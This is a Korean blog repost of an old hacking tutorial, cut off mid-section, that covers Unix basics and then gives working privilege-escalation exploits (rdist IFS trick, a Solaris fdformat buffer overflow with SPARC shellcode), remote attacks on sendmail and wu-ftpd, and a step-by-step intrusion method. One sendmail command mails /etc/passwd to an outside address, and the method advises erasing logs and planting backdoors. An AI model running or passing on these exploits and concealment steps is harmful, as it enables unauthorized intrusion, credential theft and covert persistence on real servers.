2011년 2월 18일 금요일

백업] 네이버 13
















이 재 욱 : salsari@hotmail.com

 

1. 실전 해킹에 들어가기 전에

      자. 이제부터는 실전에 들어간다. 그 동안 인터넷이나 유닉스니 머리가 조금 아팠을껀데….
      아흐~ 그 이론들이 바탕이 되어야지만 이 내용들을 이해할 수 있을 것이다. 실전에 들어가기 전에 알아두어야 할 용어들과 유닉스 사용법에 대해 설명할텐데.. 잘 따라 오시기를.
      COME COME COME BABY!!

      1.1 유닉스 이해하기

      해킹은 실전이다. 그러므로 나는 여러분들의 컴퓨터에 리눅스를 설치하거나 여유가 있다면 계정을 하나 얻어 유닉스에 대해 공부하기를 추천한다. 이것도 저것도 여의치 않는다면 유닉스를 마음껏 쓰면서 해킹을 배울 수 있는 곳을 소개할까 한다. (유감스럽게도 몇몇 기능은 사용하지 못한다..) - 계정을 가지고 있거나 리눅스를 사용하고 있는 분들도 한 번 가보시라.

      해커즈랩 - 해킹자유지대
      [
      http://www.hackerslab.org ]

      관련 사항들은 해커즈랩 홈페이지를 참조하세요.

      - 쉘 (shell)
      쉘은 커널(Kernel)과 명령어(Command)사이에 있으며 사용자가 지정한 명령들을 해석하여 커널이 처리 할 수 있도록 전달해주는 중계역할을 하는 일종의 명령어이다.

      - 프로세서 (process)
      실행되는 프로그램과 그에 관계되는 정보를 말한다.

      - 로그인 혹 로긴(Login)
      유닉스는 여러사람이 사용하기 때문에 자신의 로그인명과 패스워드를 알아야지만 접속하여 그 자원들을 사용할 수 있다. - 컴퓨터와의 실질적인 연결과정

      Trying 255.255.255.254...
      Connected to jungmin.org.
      Escape character is ‘^]’.

      SunOS 5.6

      login: salsari # 로그인명 - salsari라고 입력
      Password: # 패스워드(화면에 나타나지 않는다.) - 패스워드 입력하자.
      Last login: Fri Oct 8 19:17:37 from salsari.org # 패스워드가 맞으면 로그인 되지머..
      Sun Microsystems Inc. SunOS 5.6 Generic August 1997
      You have mail.
      jungmin% # 쉘이 떴다. 접속 완료

      - 로그아웃(logout)
      유닉스 시스템 사용을 끝내고 싶을때, 그 시스템으로부터 빠져나오는 과정

      % ^d  # Ctrl+d (때론 Ctrl + d 를 막아둔 시스템도 있다. 그럴 땐  logout을 입력하자.)
      Connection closed by foreign host.

      - bash 와 csh 의 차이점
      로그인시 ‘$’ 혹은 ‘%’ 와 같은 쉘이 뜰것인데 전자가 bash(sh) 이고 후자가 csh(tcsh) 이다. 둘 다 사용은 비슷하지만 약간의 차이가 존재한다. 간단하게 짚어보자면

      path 설정에 대해서...
      bash(sh) : export PATH=”.:/bin:/usr/bin”
      csh : set path = (. /bin /usr/bin)

      - System V 와 BSD 유닉스의 차이점
      이들도 bash와 csh의 차이처럼 사용하는 데에는 크게 다른 것들은 없다. 명령어 체계가 특징적으로 저마다 조금씩 다를뿐이다. 역시 간단하게 짚어보자.

      System V

      % ps -ef # % : csh - solaris 에서 실행
      UID PID PPID C STIME TTY TIME CMD

       


      BSD

      $ ps -aux # $ : bash - linux 에서 실행하였다.
      USER PID %CPU %MEM SIZE RSS TTY STAT START TIME COMMAND
      bin 163 0.0 0.6 900 384 ? S Sep 14 0:00 portmap
      news 362 0.0 1.8 1668 1160 ? S Sep 14 0:01 /usr/sbin/innd -p4 -r
      news 377 0.0 0.4 872 280 ? S Sep 14 0:00 /usr/lib/news/bin/ove
      news 403 0.0 0.9 1244 616 ? S Sep 14 18:05 sh /usr/lib/news/bin/
      nobody 20717 0.0 1.0 1180 684 ? S 17:05 0:00 httpd
      ……

       

      root 0 0 0 8월 05 ? 0:12 sched
      root 1 0 0 8월 05 ? 4:22 /etc/init -
      root 2 0 0 8월 05 ? 0:08 pageout
      root 3 0 1 8월 05 ? 648:44 fsflush
      root 482 1 0 8월 05 ? 0:00 /usr/lib/saf/sac -t 300
      root 401 1 0 8월 05 ? 0:00 /usr/lib/power/powerd
      ……

      - 퍼미션(permission)
      화일의 접근 허가를 나타낸 것.

      예를 보자.

      % ls -l # dos의 dir과 같은 기능
      drwxr-xr-x 2 salsari users 512 10월 8일 19:18 .
      drwxr-xr-x 194 root other 3584 10월 4일 10:57 ..
      -rwx------ 1 salsari users 0 10월 8일 19:27 kkk
      -rw-rw-rw- 1 salsari users 8 10월 8일 19:22 kkk1
      -rwxrwxrwx 1 salsari users 29836 10월 8일 19:28 salsari.hwp
         


      문자   의미           모드 값         의미
      d       디렉토리      400             User (owner) 읽기 (r)
      r        읽기            200             User 쓰기 (w)
      w       쓰기           100              User 실행 (x)
      x       실행            040             Group 읽기
      -       불가능         020             Group 쓰기
                                010              Group 실행
                                004              Other 읽기
                                002              Other 쓰기
                                001              Other 실행

       

      문자와 모드 값을 알아 두고 permission 이해 단계에 들어가자.

      모두 [-] 의 갯수는 10개이다. (잘 모르겠으면 세어 보자. 분명 10칸일 것이다. ^^)
      첫 칸이 [-] 이면 일반 파일, [d] 이면 디렉토리임을 알아두자.
      다음 9칸은 세 필드로 나뉠 수 있다.
      ---/---/--- : [/]를 기준으로 첫 번째 필드가 user(소유주), 두 번째 필드가 group(그룹) 세 번째 필드가 other(기타 사용자)의 모드이다.
      그럼 각 필드의 첫 칸이 읽기(Read), 두 번째 칸이 쓰기(Write), 세 번째가 실행(eXecution)이다. 위의 표로 따지자면 모드 값이 읽기(r)는 4, 쓰기(w)는 2, 실행(x)은 1 이다.
      역시나 이해가 잘 가지 않을 꺼라 믿는다.. --; 확실한 예를 보자.

      user 읽기 + user 쓰기 + user 실행 + group 읽기 + other 실행
      r + w + x + r + x = rwxr----x
      400 + 200 + 100 + 40 + 1 = 741

      이제 알겠찌?... 꼭 기억해 두자. 그럼 한 번 퍼미션을 읽어 볼까나?

      drwxr-xr-x 2 salsari users 512 10월 8일 19:18 .
      # 현재 디렉토리
      drwxr-xr-x 194 root other 3584 10월 4일 10:57 ..
      # 부모 디렉토리
      소유주는 읽고, 쓰고, 실행할 수 있고 그룹, 기타사용자는 읽고 실행만 시킬 수 있는 디렉토리를 뜻한다. [.]은 현재 디렉토리, [..]은 부모디렉토리를 나타낸다.(모드값 755)

      -rwx------ 1 salsari users 0 10월 8일 19:27 kkk
      시작이 [-] 이므로 일반 파일임을 알 수있다.

      -/rwx/---/--- 이므로 소유주만 읽고, 쓰고, 실행할 수 있다.(모드값 700)

      -rw-rw-rw- 1 salsari users 8 10월 8일 19:22 kkk1
      일반 파일, 소유주, 그룹, 기타 사용자 모두 읽고 쓸 수 있다.(모드값 666)

      -rwxr-xr-x 1 salsari users 29836 10월 8일 19:28 salsari.hwp
      일반 파일, 소유주는 읽고 쓰고 실행할 수 있다. 그룹, 기타 사용자는 읽고 실행만 시킬 수 있다.

      -Set user id
      파일들을 살피다 보면 ‘-rws--x--x’ 와 같은 user 실행자리에 s 라고 표시되어 있는 것을 간혹 보게 될 것이다. 이처럼 user 실행 자리에 s가 붙어 있는 것을 setuid(set user id)라고 해서 이 파일을 실행시키는 동안 그 파일의 user(소유자)의 권한을 가지고 활동한다는 뜻이다. 그럼 이런 파일의 의미는?
      우히히~~~ 다음 예를 보자.

      -r-sr-xr-x 3 root root 88620 1999년 9월 15일 bash
      파일명이 bash... 쉘임에 틀림없을꺼야. 소유자는 root, setuid가 붙어 있구만... 그럼 이 파일을 실행시키면 누구나 root의 권한을 가질 수 있다는 뜻이 되는군.. 너무 좋지 않은가? 저 파일만 실행시키면 여러분들이 root가 된다니.. 엄청난 신분상승인데...
      보통 해킹후 쉘을 /usr/bin 과 같은 디렉토리에 이름을 바꿔서 복사시킨후 setuid를 걸어서 백도어로 사용한다.

              모드 값      의미                  비고
              4000         Set user id
              2000         Set group id
              1000         Sticky bit           공유모드

      Sticky bit와 같은 것은 /tmp 디렉토리에 많이 사용된다.

      drwxrwxrwt 2 root root 512 11월 8일 11:11 temp

      예에서 보건데 누구나 /tmp 방에 파일이나 디렉토리를 만들고 지울 수 있지만 정작 지울 수 있는 것은 소유주가 여러분들로 되어 있는 파일과 디렉토리뿐이다. (흐흐.. 안타깝지..) 절대로 다른 사람들이 만든 파일을 지울순 없다. - 그래서 공유모드라네..

      - 리다이렉션/파이프(|)

      > file : 실행 결과가 file에 들어간다.
      >> file : 실행 결과가 file에 추가된다.
      < file : 입력값으로 file2 내용이 들어간다.
      << kkk : kkk문자열이 나타나면 입력이 중단된다.

      > 여러분들이 직접 해봐야 될 사항
      % cat > kkk # 입력을 마칠때는 ^D(Ctrl + D)를 입력하자.
      % cat >> kkk
      % cat < kkk

      파이프(|)는 일종의 필터 역활을 한다.
      file | file1 : file의 결과값이 file1의 입력으로 사용된다.

      > 실행해보면 좋을 것
      % ps -ef | grep root

      > 기타 자세한 유닉스 명령어는 생략합니다.. ^^;
      ( 생략하는 자의 궁색한 변명 - 공부하세요! 공부!! (-.- )( -.-) )

      1.2 해킹에 대해서 알아두어야 할 용어들

      bug : 소스파일들내의 치명적인 문제점.
      hole : 공격대상이 될만한 버그나 루틴
      packet : 데이터들을 조각낸 뒤 그에 관련된 각종 정보를 덧붙인 데이터통신의 기본단위
      backdoor : 뒷문, 개구멍
      attack : 공격, 침입
      local host : 현재 사용하고 있는 호스트
      remote host : 외부로 떨어져 있는 호스트
      vulnerability : 보안 취약점을 자세하게 보여주는 보고서
      Advisory : 해킹가능한 여러 버그나 루틴들에 대한 문제점과 해결책을 알려주는 보고서
      Exploit : 시스템 보안 취약점 이용

      1.3 해킹의 종류

      해킹은 크게 세 가지 방식으로 나눌 수 있다.

      - Local attack
      remote attack으로 공격 시스템에 잠입한 침입자가 root의 권한을 얻어내기 위한 공격.
      시스템 내부 프로그램들의 버그나 환경 변수조작, 경쟁방식, 관리자에 의한 시스템의 잘못된 설정등을 이용한다.

      - Remote attack
      외부로부터 떨어져 있는 상태에서 공격호스트의 Daemon이 가지고 있는 버그나 NIS/NFS등 의 잘못된 설정, 유저들에 관한 정보들을 가지고 공격하는 방식으로 외부의 침입자가 목표 시스템의 shell을 얻어내는 것을 기본적 목적으로 한다.

      - DOS(Denial of Service)
      서비스 거부 공격. 뒤에 자세하게 나온다.

       

    2. Local attack

        음.. 어떤 것들부터 살펴볼까? 과거 SunOs를 화려하게 수 놓았던 rdist를 살펴볼까나?
        8lgm에서 내놓았던 rdist 버그에 대한 advisory를 참조하면서 한 번 살펴보자
        > 잠깐! 그전에
        그럼 rdist 해킹원리는 과연 무엇일까? (어떤 해킹이든 원리가 존재함을 기억하라.) 그건 바로 IFS 환경변수를 조작해서 root shell을 얻어내는 것이다. 그럼..

        - IFS란 무엇인가?
        IFS는 Internal Field Separator의 약자로 외부프로그램을 실행할 때 입력되는 문자열을 나눌 때 기준이 되는 문자를 정의하는 변수이다.
        기본적으로 IFS는 공란(Space)으로 정의된다 - IFS=” “
        이 IFS를 슬러쉬[/]로 바꾸고 싶다면 csh인 경우에는 setenv IFS / ,bash인 경우에는 export IFS=”/” 로 하면 변경된다. 이해를 위해서 간단한 예를 보자.

        $ cat > pwd1 # pwd1 파일을 생성
        #!/bin/sh # 쉘 스크립트 정의. bash(sh)를 사용한다.
        IFS=”/” # IFS를 [/]로 정의
        export ‘pwd’ # pwd 결과 내용을 보여준다.
        ^D  # 입력마치고 저장

        $ pwd  # 현재 디렉토리를 절대 경로로 보여준다.
        /var/tmp
        $ chmod 700 pwd1 # permission을 실행가능 하도록 만든다.
        $ pwd1 # 우리가 만든 쉘 스크립트 실행
        var tmp # IFS를 [/]로 설정했기 때문에 var, tmp 두 개의 필드로 나뉘어 지게 되는 것이다.

        IFS가 입력된 단어들의 separator로 작용하여 home, fox, ...등이 하나의 단어로 인식되고 있다. 그럼 다음 예제를 살펴보자. 여기에서 rdist의 보안상 헛점을 알아볼 수 있다.

        % cat > distex
        #!/bin/sh
        IFS=”/”
        export PATH
        /bin/sh
        ^D

        % ./distex
        distex: bin: not found # bin이라는 실행파일이 없다는 메시지를 보여주고 있다.
        bin

        자, 이제 차근차근 한 번 살펴보자.

        [8lgm]-Advisory-1.UNIX.rdist.23-Apr-1991 # 1991년... 역시 고전이라 할 만하다. 그치?

        rdist(1) uses popen(3) to execute sendmail(8) as root.
        It can therefore be made to execute arbitary programs as root.
        # rdist 프로그램은 파일을 다른 시스템으로 분산시킬때 사용된다
        # rdist는 환경 변수인 IFS가 ‘/’로 정의되어 있다.
        # rdist는 실행도중에 popen(3)을 이용하여 /usr/lib/sendmail을 실행시킨다.
        # IFS는 exec()나 popen()같은 함수를 이용한다.

        Any user with access to rdist(1) can become root.
        # rdist를 이용해서 어떤유저든 root가 될 수 있다는군..

        # distfile 을 만들어 다음 내용을 담자.
        HOSTS = localhost
        FILES = BullInTheHeather
        ${FILES} -> ${HOSTS}
        install /tmp/1 ;
        notify user ;

        # usr.c 파일을 만들어 다음 내용을 담자.
        main()
        {
        setuid(0);
        chown(“sh”, 0, 0);
        chmod(“sh”, 04755);
        exit(0);
        }

        # 여기서부터는 실행 모드이다.

        > % cp /bin/sh . # /bin/sh를 현재 디렉토리(.)에 copy
        > % cc -o usr usr.c # usr.c 파일을 컴파일 하자.
        > % set path=(. $path) # path - 현재디렉토리를 최우선 경로로 하자.
        > % setenv IFS / # c shell이다. IFS를 / 로 설정한다.
        > % rdist # rdist를 실행하자.
        updating host localhost
        rdist: BullInTheHeather: No such file or directory
        notify @localhost ( user )
        > % ls -l
        -rwsr-xr-x 1 root 106496 Mar 4 00:25 sh
        # 와우~ root shell이 현재 디렉토리에 생성되었다. 해킹성공!! 루트 획득 성공!!
        > % ./sh # 쉘을 실행시키자.

        # (root shell) # 루트권한 획득

        자.. 뿌듯한가? 이 버그가 아직 통하는 유닉스 서버들이 있을것이다. SunOS 4.1.2 이전 버전을 쓰는 곳에서 패치를 하지 않았다면 이 버그가 성공할 것이다. - 작년인가? 내가 이 버그로 루트를 획득한 서버가 있었는데... 지금은 어느 서번지 기억이 가물가물하다.. (불과 작년이라구! 한심한 관리자라면 충분히 먹혀든다. 냐하하~)

        이같이 환경 변수(Environment Variable)를 조작하여 루트를 얻을 수 있을뿐만 아니라 경쟁 조건(Race Condition)을 이용할 수도 있고 시스템 관리자의 실수나 잘못된 설정으로 보안에 구멍이 생기는 경우도 있다. 이 같은 경우는 관리자도 모르니(잘했다고 믿고 있을게 뻔하니..) 더 큰 문제를 발생시킬 수도 있다. (보통 버그가 발생되면 그를 수정하는 패치가 나오기 마련이다. 하지만 관리자의 실수로 구멍이 생겨났으니 패치같은 것이 있을리 만무하다. - 관리자의 관심과 주의가 필요하다.)
        현재 Local attack의 최대 공격방법인 버퍼 오버플로우(Buffer Overflow)도 있다.

        경쟁 조건 방식 -
        임시 파일을 생성하는 프로그램에서 자주 사용한다. 임시 파일을 만들어 쓰고 일이 끝났으면 지우는 과정에서 쓰기 바로 직전 경쟁조건을 이용하여 원하는 파일에 원하는 내용을 집어넣는 방식이다.

        버퍼 오버플로우 -
        버퍼 오버플로우는 1988년 전세계를 떠들석하게 만들었던 Morris Worm 사건에서의 finger daemon을 이용한 공격이 시초라고 말할 수 있다. 하지만 과거 이에 대한 기술적 지식이 부족했던터라 잘 알려지지 않았으나 1997년 Phrack 잡지 49호에 실린 Aleph의 “Smashing the Stack for Fun and Profit” 이라는 기사에서 이 버퍼 오버플로우에 대한 자세한 원리와 제작 방법이 소개되면서 지금 까지도 많은 양의 버퍼 오버플로우 공격방법이 생겨나고 있다.

        원리를 간단히 살펴보자면 :
        메모리의 스택영역을 넘쳐흐르게 해서 리턴되는 주소지를 변경하여 원하는 임의의 명령어를 실행시킨다는 그런 말씀.. ( 사실 원문을 자세하게 이야기하자면 여러분들이 이해를 못할런지도 모른다. 이 정도만 알고 있기를... - 그래도 내가 한 말이 핵심이다! 핵심!!)

        이번엔 버퍼 오버플로우를 일으키는 프로그램을 하나 살펴볼까?
        fdformat파일은 디스크나  PCMCIA 메모리 카드를 포멧시킬때 사용하는 유틸리티이다.
        인수 채크를 하지 않아서 생긴 버그이다.

        /*
        Solaris 2.5.1 - this exploited was compiled on Solaris2.4 and tested on 2.5.1
        */ # 솔라리스 2.4 ~ 2.5.1 까지의 공격코드

        #include <stdio.h>
        #include <stdlib.h>
        #include <sys/types.h>
        #include <unistd.h>

        #define BUF_LENGTH 364
        #define EXTRA 400
        #define STACK_OFFSET 704
        #define SPARC_NOP 0xa61cc013

        # 이 부분이 바로 root shell을 얻어내는데 핵심인 쉘 코드
        # 부분이다.
        u_char sparc_shellcode[] =
        “\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68” ............. # 쉘 코드 두 줄 삭제
        ...................
        “\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01”
        “\x91\xd0\x20\x08”;

        u_long get_sp(void)
        {
        __asm__(“mov %sp,%i0 \n”);
        }

        void main(int argc, char *argv[])
        {
        char buf[BUF_LENGTH + EXTRA + 8];
        long targ_addr;
        u_long *long_p;
        u_char *char_p;
        int i, code_length = strlen(sparc_shellcode),dso=0;

        if(argc > 1) dso=atoi(argv[1]);

        long_p =(u_long *) buf ;
        targ_addr = get_sp() - STACK_OFFSET - dso;
        for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
        *long_p++ = SPARC_NOP;

        char_p = (u_char *) long_p;

        for (i = 0; i < code_length; i++)
        *char_p++ = sparc_shellcode[i];

        long_p = (u_long *) char_p;

        for (i = 0; i < EXTRA / sizeof(u_long); i++)
        *long_p++ =targ_addr;

        printf(“Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n”,
        targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
        execl(“/bin/fdformat”, “fdformat”, & buf[1],(char *) 0);
        perror(“execl failed”);
        } # 잘 모르겠다면 유닉스 프로그래밍을 배우자.. (나두.. 나두.. --;)

        간단히 컴파일 시키고 실행을 시키자면

        % gcc -o fdformat fdformat.c
        % ./fdformat
        .....
        ...
        # whoami
        root

        패치가 되어있다면 당연히 안 먹힐 것이고....

        이 정도로  Local attack에 관한 이야기를 마무리 지을까 한다. 대충.. 아~ 이렇게 하는구나.. 이런 방식으로 공격하는구나... 이 정도만 알아두고 넘어가자.

       

      3. Remote attack

          위에서 리모트 공격에 관하여 대충 들었을 것이다. 바로 공격에 들어가자~ 돌진!

          - 센드메일 버그
          리모트 공격의 대표적인 주자는 바로 이 Sendmail 일 것이다. 프로그램의 크기가 다른것 보다 무척 크기 때문에 그 만큼 버그가  많이 존재한다. (local bug도 무척 많다...)

          이 방법은 몇 년 전 SunOs 4.1.x대의 sendmail 버전 4.1에서 유행했던 버그이다. 그럼 역시나 찬찬히 살펴보도록 하자.

          % telnet salsari.org 25 # smtp 포트로 텔넷해 들어간다.
          Trying 255.255.255.255 ...
          Connetcted to salsari.org. # 접속되었다.
          Escape character is ‘^]’ # 만약 빠져나가고 싶다면 Ctrl + ] 눌러라.

          220 salsari.org Sendmail 4.1/SMI-4.1 ready at Wed, 6 Mar 99 01:59:21 KST
          # 센드메일 버젼확인

          mail from:”|/bin/mail salsari@hotmail.com < /etc/passwd”
          # salsari@hotmail로 /etc/passwd파일을 보내라는 명령 - 파이프(|) 버그 이용
          # from 입력에서 파이프 이후 명령어가 실행가능하게 되어있다.

          250 “|/bin/mail salsari@hotmail.com < /etc/passwd”... Sender ok # 데몬은 입력 받았다.

          rcpt to : root # 받는 사람  root
          250 root... Recipient ok # 데몬이 말하길 “알겠어”
          data # 보낼 내용 작성
          354 Enter mail, end with “.” on a line by inself
          babo... # 바보... -_- (아무내용이나 집어 넣는다.)
          # . 을 찍으면 내용 작성을 마친다.
          250 Mail accepted
          quit # 빠져나가자.
          221 salsari.org delivering mail
          Connection closed by foreign host.

          # 접속은 끊어지고 이제 패스워드 파일만 자신의 E-mail로 오기를 기다리면 된다.

          이렇게 얻은 패스워드 파일을 크랙해 (재수 좋으면 root 패스워드도 얻을 수 있다.) local로 접속한뒤 local의 수많은 버그를 이용하여 root를 얻으면 되는 것이다.

          그럼 조금 최근의 wu-ftp 2.4 버전의 버그를 살펴보자.
          이 버그는 site exec 명령어를 수행할 수 있어서 쉽게 root shell을 얻을 수 있다.  

          COMMAND
          wu.ftpd(8)

          SYSTEMS AFFECTED
          Sites running wuarchive ftpd versions prior to 2.3 or running
          “wrl” ftpd version ??

          PROBLEM: # site exec 명령어는 ftp에서 쉘 명령어를 실행시킬수 있다.

          Compile program : # 공격 소스 - 만들고 나서 컴파일 시키자.
          # 컴파일 : cc -o ftpbug ftpbug.c
          #include < stdio.h>
          #include < stdlib.h>
          #include < unistd.h>

          main()
          {
          seteuid (0);
          system (“cp /bin/sh /tmp/.sh”);
          system (“chmod 6777 /tmp/.sh”);
          }

          Login to the system : # 컴파일 시켰으면 ftp로 접속

          220 exploitablesys FTP server (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994) ready.
          Name (exploitablesys:root): goodaccount # 자신의 user name 입력
          331 Password required for goodaccount.
          Password: (password) # password 입력
          230 User goodaccount logged in.
          Remote system type is UNIX.
          Using binary mode to transfer files.

          See if system is exploitable : # ftp bug가 존재하는지 test한다.

          ftp> quote “site exec bash -c id” # 이 명령어를 입력했을때...
          200-bash -c id # id 명령어를 실행
          200-uid=0(root) gid=0(root) euid=505(statik) egid=100(users) groups=100(users)
          200 (end of ‘bash -c id’) # 결과가 이렇게 나타난다면 공격대상이다.

          Exploit system : # test가 성공이라면 실제적으로 공격하자.

          # 만들어 두었던 공격코드를 실행시키면 root 권한을 얻을
          # 수 있는 .sh 파일이  /tmp/.sh 에 생성된다.
          ftp> quote “site exec bash -c /yer/home/dir/ftpbug”
          200-bash -c /yer/home/dir/ftpbug
          200 (end of ‘bash -c /yer/home/dir/ftpbug’)
          ftp> quit # 실행 시켰으니 이제 빠져나가자.
          221 Goodbye. # 그리고 /tmp/.sh실행!!!! 여러분들은 이제부터 root다!!!

          remote attack의 두 예를 살펴보았지만 두 가지 다 잘못된 설정으로 만들어진 hole이다. 이런것들 말고 daemon이 가지고 있는 버그에 의한 buffer overflow가 있다. 대표적인 것이 최근에 나온 wu-ftp 2.4.2 버전대의 remote buffer overflow이다.

           

        4. 최근 버그들

            - linux
            Linux_INN - 레드헷 리눅스 6.0 INN 취약점 및 대책
            Linux_pop2d - pop2d 취약점 및 대책
            Linux super buffer overflow - super 버퍼 오버플로우 취약점 및 대책

            - sun / solaris
            SUN-automountd - SUN automountd 취약점
            SUN-passwd - Sun passwd 서비스 거부 취약점 및 대책
            Sun man/catman - Sun man/catman 취약점 및 대책
            Sun CDE - Sun CDE 취약점 및 대책
            SUN sdtcm_convert - sdtcm_convert 취약점 및 대책
            Solaris_libc - 솔라리스 libc 취약점 및 대책

            - HP/UX
            HP sendmail DOS - HP Sendmail DOS 취약점 및 대책
            HP_ftp - HP-UX ftp 취약점 및 대책
            HP CDE ttsession - HP CDE ttsession 취약점 및 대책

            - AIX
            AIX Vulnerability in ptrace() system call - AIX ptrace() 시스템 콜의 서비스거부공격 취약점
            AIX named-xfer security problem - AIX named-xfer 보안 취약점 및 대책
            AIX pdnsd buffer overflow - IBM AIX pdnsd 버퍼오버플로우 취약점 및 대책

            - IRIX
            IRIX X server path - IRIX X server path 취약점 및 대책
            IRIX_midikeys - IRIX midikeys 취약점 및 대책

            - DOS
            tcp-denial-of-service - TCP/IP 서비스 거부 취약점 및 대책
            Using the Domain Name System DoS attack - 도메인네임 시스템을 이용한 서비스거부(DoS)공격

            - trojan / virus
            Trojan Tcp Wrapper - 트로이목마 버전의 TCP Wrapper
            Melissa-Macro-Virus - Melissa 매크로 바이러스
            CIH-Virus - CIH 바이러스

            - FTP
            FTP-buffer overflows - FTP Buffer Overflows 취약점과 대책
            Remote buffer overflow in ftpd daemon.
            ProFTPD 1.2.0pre1 이전 버전은 취약점을 가지고 있음
            wu-ftpd 2.4.2(beta 18)까지의 모든 버전은 취약점을 가지고 있음
            wu-ftpd VR series - 2.4.2(beta 18) VR10 이전 버전은 취약점을 가지고 있음
            BeroFTPD 1.2.0 이전 버전은 취약점을 가지고 있음
            NcFTPd 2.3.4 이전 버전은 취약점을 가지고 있음
            Crashing FTP Serv-U 2.5 - FTP Serv-U 2.5 취약점 및 대책

            - ETC
            lsof buffer boverflow - lsof 버퍼 오버플로우 취약점 및 대책
            umapfs - umapfs 취약점 및 대책
            cmsd-Buffer Overflow - Calendar Manager 버퍼오버플로우 취약점 및 대책
            Accelerated-X Overflow - Accelerated-X X서버 취약점 및 대책
            Tiger vulnerability - Tiger 취약점 및 대책
            amd buffer overflow vulnerability - amd 원격 버퍼오버플로우 취약점 및 대책

             

          5. 해커들의 해킹 방법론

              여러분들은 위에서 Local host 에서 root를 얻는 방법과 Remote host에서 root를 취하는 방법을 보았을 것이다. 하지만 이런 방법들은 지극히 극단적인 방법이라고 볼 수 있다. 그럼 해커들이 하나의 시스템을 해킹하기 위해서 어떤 순서를 거쳐서 어떻게 해킹하여 root를 취하는지 알아볼 필요가 있다.

              5.1 정보수집

              우선 여러분들이 사용하는 시스템을 A, 공격 목표가 B라고 한다면 B에 관련된 정보를 수집해야 할 것이다. 물론 B에 여러분들이 사용하는 계정이나 혹은 아는 계정이 있다면 일은 쉬워지겠지만 그렇지 않다고 했을 경우 어떻게 해서든 B에 침투해야만 한다. ( 왜냐면 remote bug에 비해 local bug가 무궁무진 하거덩... remote bug를 이용해서 root가 되면 더 좋고... )
              그럴려면 finger나 smtp, rusers, rpcinfo 등과 같은 것으로 사용할 만한 계정은 없는지 혹은 remote bug는 가지고 있지 않을까를 살펴보게 된다. bug들을 여러분들에게 자동으로 알려주는 remote bug scan 프로그램들이 있기도 하다. sscan이나 mscan 등이 그 대표적인 예 이다. 그리고 관리자의 패턴도 알아야 한다. 어떤 시간대에 접속을 하여 작업을 하는가? 관리자가 root가 아닌 어떤 로그인명(계정)을 사용하는가? 또 root의 idle time이 어느정도인가? (root가 idle time이 많을 수록 게으른 관리자가 시스템을 관리한다고 볼 수 있다.)
              시스템에 관련된 정보를 수집했으면 구체적인 계획을 수립해야 한다.

              5.2 계획 수립
              어떤 방법으로 갈 것인가?

              - B에 root를 획득 할 수 있는 remote bug가 있어 바로 root가 될 것인가?
              - A에서 root 권한을 딴 후 root 권한을 이용하여 B의 계정을 얻을 것인가?
              - B에 취약한 계정이 있어 그곳으로 침투할 것인가?
              - cgi bug 등을 이용해서 얻은 passwd 파일을 크랙 할 것인가?

              root 로 바로 침투했다면
              - log 정보를 없애고 backdoor를 설치할 것에 관련된 사항
                 user 로 침투했다면
              - B의 local bug를 찾는다. 그리고 root권한을 얻는다.
              - log 정보를 없애고 쉽게 들어 올 수 있도록 backdoor를 설치한다.

              자, 계획을 수립하여 차례대로 정리했는가?

              5.3 Remote attack
              Remote attack을 실행한다. 그것이 root를 얻든 일반 user 권한을 얻든 우선 B에 침투하자!

              5.4 Local attack
              local bug로 root를 따내자.

              5.5 흔적 없애기
              침투에 성공했다면 그리고 root 권한을 얻었다면 흔적을 남겼을 것이다. last 명령이나 /var/adm(log)/messages, /var/adm/utmp /var/adm/wtmp 등.. 살펴보면 흔적들이 남아 있을 것인데 이 흔적들을 쥐도 새도 모르게 아무런 변화없이 삭제해야만 한다.

              5.6 backdoor 설치
              여러분들이 다시 B 시스템에 접속하기 위해서 또 다시 해킹을 해야만 할까? 아니다. backdoor 라는 것이 있지 않은가? backdoor(뒷문)는 시스템 해킹 후 다시 그 시스템에 들어 올 때 쉽게 들어오기 위한 하나의 방법이다. 백도어의 종류는 상당히 많다. 자세한 것은 6.4.5 에서 살펴보자.

              5.7 그리고 즐기기
              마음껏 뛰어 놀자. 관리자들을 관리해보고 내 시스템처럼 가지고 놀자. 다만 시스템에 피해를 입히는 행위는 하지 말자. 그것은 크래커들의 행위이다. 조용히 조용히 아무도 모르게 가지고 놀자. 잊지 않기를...

               

            6. 그외 해킹 기술들.

                6.1 packet sniffing

                sniffer란 네트웍 상에 돌아다니는 패킷을 잡는 프로그램이다. 원래 용도는 네트웍 디버깅 작업이었으나, 보안툴이 곧 해킹툴이듯이 곧 바로 해커들의 사랑을 받았다. 이더넷의 경우 호스트 A에서 호스트 B로 패킷을 보낼때는 broadcast방식으로 패킷을 이더넷 전체에다가 뿌리게 된다. 그럼 지정된 주소를 가진 호스트는 그 패킷을 잡고 그 외 호스트는 자신에게 오는 패킷이 아니므로 무시하게 된다. 그럼 대충 이해가 가리라 본다. 그 무시되는 패킷을 무시하지 않고 처리해버리면 어떨까? 여기서 sniffing이 탄생하게 되었다.

                 


                  -- TCP/IP LOG -- TM: Tue Feb 15 17:04:55 --
                  PATH: salsari.org(1953) => jungmin.org(ftp)
                  STAT: Sun Apr 14 18:09:23, 14 pkts, 49 bytes [TH_FIN]
                  DATA: USER salsari
                  :
                  : PASS jungminlove
                  :
                  : CWD backup
                  :
                  : NLST
                  :
                  : QUIT
                  : --

                 

                6.2 Spoofing

                - IP spoofing
                TCP/IP 프로토콜의 결함을 이용해 신뢰관계에 있는 호스트의 ip로 위장해 침투하는 공격 방법을 ip spoofing이라 한다. 이 결함에 대해서는 1985년에 로버트 모리스의 논문 “A Weakness in the 4.2 BSD UNIX TCP/IP Software”에 언급되었고 1995년 유명한 해커 케빈미트닉이 이 이론을 실제화하여 사용하였다.

                > 여기서 잠깐!!
                R commands(rlogin. rsh, rcp)
                이들 명령어는 대상 시스템의 $HOME/.rhosts의 내용을 참조하여 아무 인증없이 홈디렉토리에 접근하는 명령어이다. 바로 신뢰관계의 대명사라고나 할까?

                - DNS spoofing
                DNS 서버를 DOS 공격으로 무력화시키고 호스트 네임을 기준으로 인증과정을 거치는 타겟 호스트로 하여금 해커의 호스트를 믿게끔 DNS 정보를 보내어 rlogin, rsh 과 같은 명령을 이용하는 공격법.

                - Web spoofing
